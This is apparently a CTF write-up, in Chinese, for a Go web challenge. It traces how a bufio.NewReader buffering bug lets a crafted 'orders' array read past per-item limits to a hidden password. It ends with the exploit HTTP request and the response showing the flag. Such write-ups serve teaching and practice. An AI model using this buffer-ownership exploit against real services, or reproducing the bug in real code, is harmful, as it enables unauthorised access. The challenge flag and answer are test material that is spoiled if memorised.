代码阅读:

一个路由：/just-read-it

```
http.HandleFunc("/just-read-it", justReadIt)
```

输出 flag 地方:

```
func justReadIt(w http.ResponseWriter, r *http
    for _, o := range reqData.Orders {
        if err != nil {
            w.WriteHeader(500)
            w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
            return
        }
    }

    if err := validator.Validate(ctx); err != nil {
        w.WriteHeader(500)
        w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
        return
    }

    w.WriteHeader(200)
    w.Write([]byte(os.Getenv("FLAG")))
}
```

详细查看 justReadIt 函数

```
ioutil.ReadAll(r.Body)
```

从前端拿到 {"orders":[3,7,12625]} 这样的数据，转成 Go 里的结构体

```
if len(reqData.Orders) == 0 {
    w.WriteHeader(500)
    w.Write([]byte("whoa there, you need some orders!\n"))
    return
} else if len(reqData.Orders) > MaxOrders {
    w.WriteHeader(500)
    w.Write([]byte("whoa there, max 10 orders!\n"))
    return
}
```

```
const (
    MaxOrders = 10
)
```

判断数据中的数组长度，1-10

调用 checkreadorder 函数检查每个数据是否处于 1 到 100 之间

```
for _, o := range reqData.Orders {
    if err := validator.CheckReadOrder(o); err != nil {
        w.WriteHeader(500)
        w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
        return
    }
```

```
func (v *Validator) CheckReadOrder(o int) error {
    if o <= 0 || o > 100 {
        return fmt.Errorf("invalid order %v", o)
    }
    return nil
}
```

由于生成的是一个 24576 字节的伪随机数据，将密码复制在切片的 12625 起的后面，所以我们需要获取该密码，而就算是每次取最大值 100，只有 10 个数，也只能取到 1000

```
func initRandomData() {
    rand.Seed(1337)
    randomData = make([]byte, 24576)
    if _, err := rand.Read(randomData); err != nil {
        panic(err)
    }
    copy(randomData[12625:], password[:])
}
```

看到函数 getvalidatorCtxdata，如果大于 100，调用 newreader

```
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
    reader := ctx.Value(reqValReaderKey).(io.Reader)
    size := ctx.Value(reqValSizeKey).(int)
    if size >= 100 {
        reader = bufio.NewReader(reader)
    }
    return reader, size
}
```

bufio.NewReader 创建的默认缓冲区大小是 4096 字节（4 KB）

依次调用如下：

```go
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
    r, s := GetValidatorCtxData(ctx)
    buf := make([]byte, s)
    _, err := r.Read(buf)
    if err != nil {
        return nil, fmt.Errorf("read error: %v", err)
    }
    return buf, nil
}

func (v *Validator) Validate(ctx context.Context) error {
    r, _ := GetValidatorCtxData(ctx)
    buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
    if err != nil {
        return err
    }
    if bytes.Compare(buf, password[:]) != 0 {
        return errors.New("invalid password")
    }
    return nil
}
```

```go
    reader := bytes.NewReader(randomData)
    validator := NewValidator()

    ctx := context.Background()
    for _, o := range reqData.Orders {
        if err := validator.CheckReadOrder(o); err != nil {
            w.WriteHeader(500)
            w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
            return
        }

        ctx = WithValidatorCtx(ctx, reader, int(o))
        _, err := validator.Read(ctx)
        if err != nil {
            w.WriteHeader(500)
            w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
            return
        }
    }
```

所以传入数组中需要 12625/4096 个大于等于 100 的数，所有数据加起来等于 12625 即可

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 47

{
    "orders":[
        100,
        100,
        100,
        50,
        50,
        50,
        50,
        50,
        50,
        37
    ]
}
```

```
HTTP/1.1 200 OK
Date: Tue, 12 May 2026 07:51:45 GMT
Content-Length: 32
Content-Type: text/plain; charset=utf-8

idek{BufF3r_Own3rsh1p_c4n_b1t3!}
```